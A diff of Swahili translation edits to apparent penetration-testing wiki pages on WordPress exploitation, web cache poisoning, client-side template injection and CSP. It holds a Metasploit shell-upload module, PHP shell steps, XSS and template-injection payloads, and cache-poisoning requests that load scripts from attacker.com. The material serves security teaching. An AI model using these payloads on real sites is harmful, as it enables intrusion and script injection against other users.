Angalia matumizi ya **`system.multicall`** katika sehemu iliyopita kujifunza jinsi ya kutumia mbinu hii kusababisha DDoS.
**DDoS**
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
@ -239,16 +239,16 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Pata ufikiaji kwa kubadilisha kidogo
Zaidi ya shambulio halisi, hii ni udadisi. Katika CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha kidogo 1 kutoka kwa faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili NOP operesheni ya NOT (`!`).
Zaidi ya shambulio halisi, hii ni udadisi. Kwenye CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha kidogo 1 kutoka kwa faili yoyote ya wordpress. Hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili NOP operesheni ya NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Kubadilisha php kutoka kwa mandhari inayotumika (nywila za admin zinahitajika)**
**Kubadilisha php kutoka kwa mandhari iliyotumika (nywila za admin zinahitajika)**
Muonekano → Mhariri wa Mandhari → Kigezo cha 404 (kushoto)
Muonekano → Mhariri wa Mandhari → Kiolezo cha 404 (kushoto)
Badilisha maudhui kuwa php shell:
@ -258,7 +258,7 @@ Tafuta mtandaoni jinsi ya kufikia ukurasa huo ulio sasishwa. Katika kesi hii, un
### MSF
You can use:
Unaweza kutumia:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
@ -300,12 +300,12 @@ Njia hii inahusisha ufungaji wa plugin mbaya inayojulikana kuwa na udhaifu na in
1. **Plugin Acquisition**: Plugin inapatikana kutoka chanzo kama Exploit DB kama [**hapa**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Tembelea dashibodi ya WordPress, kisha nenda kwa `Dashboard > Plugins > Upload Plugin`.
- Pakia faili ya zip ya plugin uliyopakua.
- Pakia faili ya zip ya plugin iliyopakuliwa.
3. **Plugin Activation**: Mara plugin inapofanikiwa kufungwa, inapaswa kuamshwa kupitia dashibodi.
4. **Exploitation**:
- Ikiwa plugin "reflex-gallery" imewekwa na kuamshwa, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu.
- Mfumo wa Metasploit unatoa exploit kwa udhaifu huu. Kwa kupakia moduli inayofaa na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kikitoa ufikiaji usioidhinishwa kwa tovuti.
- Imepangwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
- Inabainishwa kuwa hii ni moja tu ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress.
Maudhui yanajumuisha msaada wa kuona unaoonyesha hatua katika dashibodi ya WordPress kwa ufungaji na uhamasishaji wa plugin. Hata hivyo, ni muhimu kutambua kuwa kutumia udhaifu kwa njia hii ni haramu na isiyo ya maadili bila idhini sahihi. Taarifa hii inapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile pentesting kwa ruhusa wazi.
@ -313,12 +313,12 @@ Maudhui yanajumuisha msaada wa kuona unaoonyesha hatua katika dashibodi ya WordP
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki kipande**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Versions za Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuongeza **Cross-Site Scripting (XSS)** udhaifu hadi **Remote Code Execution (RCE)** au udhaifu mwingine muhimu katika WordPress. Kwa maelezo zaidi angalia [**hiki kipande**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Matoleo ya Wordpress 6.X.X, 5.X.X na 4.X.X. na inaruhusu:**
- _**Privilege Escalation:**_ Kuunda mtumiaji katika WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwa WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Built-In katika WordPress.
- _**(RCE) Built-In Theme Edit:**_ Hariri Mifumo ya Built-In katika WordPress.
- _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins/Mifumo ya Tatu za WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia plugin yako ya kawaida (backdoor) kwenye WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Hariri Plugins za Kijengwa ndani katika WordPress.
- _**(RCE) Built-In Theme Edit:**_ Hariri Mandhari za Kijengwa ndani katika WordPress.
- _**(Custom) Custom Exploits:**_ Exploits za Kawaida kwa Plugins/Mandhari za Tatu za WordPress.
## Post Exploitation
@ -345,7 +345,7 @@ Hizi ndizo kazi ambazo zinaweza kutumika kufichua kazi katika plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Matumizi ya `nopriv` yanaufanya mwisho uweze kufikiwa na watumiaji wowote (hata wasio na uthibitisho).**
**Matumizi ya `nopriv` yanaufanya mwisho uweze kupatikana na watumiaji wowote (hata wasio na uthibitisho).**
> [!CAUTION]
> Zaidi ya hayo, ikiwa kazi inachunguza tu uthibitisho wa mtumiaji kwa kutumia kazi `wp_verify_nonce`, kazi hii inachunguza tu kama mtumiaji ameingia, kawaida haiangalii nafasi ya mtumiaji. Hivyo, watumiaji wenye mamlaka ya chini wanaweza kuwa na ufikiaji wa vitendo vya mamlaka ya juu.
@ -364,11 +364,11 @@ $this->namespace, '/get/', array(
```
The `permission_callback` ni callback kwa kazi inayokagua kama mtumiaji aliyepewa ruhusa kuita njia ya API.
**Ikiwa kazi ya ndani `__return_true` inatumika, itakosa tu kuangalia ruhusa za mtumiaji.**
**Ikiwa kazi ya ndani `__return_true` inatumika, itakosa tu kukagua ruhusa za mtumiaji.**
- **Upatikanaji wa moja kwa moja wa faili ya php**
Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kutoka mtandaoni. Hivyo, ikiwa plugin inatoa kazi yoyote dhaifu inayoweza kuanzishwa kwa kuingia tu kwenye faili, itakuwa rahisi kutumiwa na mtumiaji yeyote.
Kwa kweli, Wordpress inatumia PHP na faili ndani ya plugins zinapatikana moja kwa moja kutoka mtandao. Hivyo, katika kesi plugin inayoonyesha kazi yoyote dhaifu inayoweza kuanzishwa kwa kuingia tu kwenye faili, itakuwa rahisi kutumiwa na mtumiaji yeyote.
## Ulinzi wa WordPress

View File

@ -4,7 +4,7 @@
## Tofauti
> **Nini tofauti kati ya web cache poisoning na web cache deception?**
> **Tofauti kati ya web cache poisoning na web cache deception ni ipi?**
>
> - Katika **web cache poisoning**, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
> - Katika **web cache deception**, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.
@ -15,17 +15,17 @@ Cache poisoning inalenga kubadilisha cache ya upande wa mteja ili kulazimisha wa
Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:
1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa katika cache. Kwa njia hii, mtumiaji yeyote anayefikia ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa Katika Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.
### Ugunduzi: Angalia vichwa vya HTTP
Kawaida, wakati jibu lime **hifadhiwa katika cache** kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Ugunduzi: Makaratasi ya makosa ya caching
### Ugunduzi: K codes za makosa ya caching
Ikiwa unafikiria kwamba jibu linahifadhiwa katika cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **kodi ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni kodi ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).
Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **kodi ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni kodi ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).
Unaweza kupata chaguzi zaidi katika:
@ -38,7 +38,7 @@ Hata hivyo, kumbuka kwamba **wakati mwingine aina hizi za kodi za hali hazihifad
### Ugunduzi: Tambua na tathmini vigezo visivyo na funguo
Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuonyesha mteja kupakua script kutoka pale:
```markup
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
@ -64,7 +64,7 @@ When caching a request, be **careful with the headers you use** because some of
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
```markup
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
@ -79,8 +79,8 @@ cache-poisoning-to-dos.md
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.
```markup
Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
@ -95,7 +95,7 @@ Angalia:
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Kuambukiza cache kwa kutumia njia za kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Kuambukiza cache kwa kutumia njia ya kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Hii inayoandikwa inaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa bila Cloudflare kuandika URL, ambayo ilifanywa wakati ombi lilipofika kwenye seva ya wavuti.
@ -107,8 +107,8 @@ cache-poisoning-via-url-discrepancies.md
### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unavyoelekezwa na kuhamasisha.
```markup
Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **apeleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unapoelekezwa na kuhamasisha.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
@ -116,8 +116,8 @@ X-Forwarded-Scheme: http
```
### Kutumia kwa kutumia kichwa kidogo cha `Vary`
Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kutoa User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:
```markup
Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kuhamasisha User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github:
Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika vuln ambayo James Kettle alipata kwenye tovuti ya Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -168,7 +168,7 @@ GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. **GCP Buckets** inasai
### Rack Middleware (Ruby on Rails)
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uelekeo wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwarudisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uhamasishaji wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwahamisha watumiaji kwa mwenyeji aliyetajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.
### 403 and Storage Buckets
@ -176,7 +176,7 @@ Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Sto
### Injecting Keyed Parameters
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya `size` katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, `siz%65`) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Hata hivyo, backend ingepitia thamani katika parameter iliyoandikwa URL. Kuandika URL ya pili ya parameter ya `size` kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.
### User Agent Rules
@ -194,7 +194,7 @@ The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the accep
Lengo la Cache Deception ni kufanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**.
Kwanza kabisa, kumbuka kwamba **extensions** kama `.css`, `.js`, `.png` n.k. mara nyingi **zimewekwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unapata `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
Kwanza kabisa, kumbuka kwamba **extensions** kama vile `.css`, `.js`, `.png` n.k. mara nyingi **zimewekwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unafikia `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona **extension** ya `.js`. Lakini, ikiwa **programu** inajibu na **maudhui** nyeti ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.
Mambo mengine ya kujaribu:
@ -205,11 +205,11 @@ Mambo mengine ya kujaribu:
- _www.example.com/profile.php/%2e%2e/test.js_
- _Tumia extensions zisizojulikana kama_ `.avif`
Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na uwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Mfano mwingine wazi unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unaleta ukurasa usio na uwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ katika kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.
Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi **faili** **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
Kumbuka kwamba **cache proxy** inapaswa kuwa **imewekwa** kuhifadhi faili **kulingana** na **extension** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui `text/html` badala ya aina ya mime `text/css` (ambayo inatarajiwa kwa faili ya _.css_).
Jifunze hapa jinsi ya kufanya [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

View File

@ -6,13 +6,13 @@
Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.
**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
**Kujaribu** kwa ajili ya udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, na mzigo kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
## AngularJS
AngularJS ni mfumo maarufu wa JavaScript unaoshirikiana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufanywa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
Katika hali ambapo pembejeo ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na alama ya `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -23,15 +23,15 @@ Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML u
```
Unaweza kupata mfano wa **msingi mtandaoni** wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kuanzia toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
## VueJS
Unaweza kupata utekelezaji wa **Vue** wenye udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Unaweza kupata utekelezaji wa **Vue** ulio na udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Payload inayofanya kazi: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
Na **msingi wa kanuni** ya mfano wenye udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
Na **msimbo wa chanzo** wa mfano ulio na udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```html
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```

View File

@ -6,7 +6,7 @@
Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga **kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS)**. Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vipengele mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama `eval`, `setTimeout`, au `setInterval`.
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
Utekelezaji wa CSP unafanywa kupitia **response headers** au kwa kuingiza **meta elements kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.
- Implemented via response header:
```
@ -21,11 +21,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:
- `Content-Security-Policy`: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote.
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.
- `Content-Security-Policy-Report-Only`: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Ni bora kwa majaribio katika mazingira ya kabla ya uzalishaji.
### Defining Resources
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
CSP inakandamiza vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti vipengele kama utekelezaji wa JavaScript wa ndani na matumizi ya `eval()`. Sera mfano ni:
```bash
default-src 'none';
img-src 'self';
@ -94,10 +94,10 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
- `https:`: Inapunguza URL kwa zile zinazotumia HTTPS.
- `blob:`: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizo tengenezwa kupitia JavaScript).
- `filesystem:`: Inaruhusu rasilimali kupakiwa kutoka mfumo wa faili.
- `'report-sample'`: Inajumuisha sampuli ya msimbo unaokiuka katika ripoti ya ukiukaji (inafaa kwa urekebishaji).
- `'strict-origin'`: Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (mwenyeji salama tu anaweza kupakia rasilimali kutoka kwa wenyeji salama).
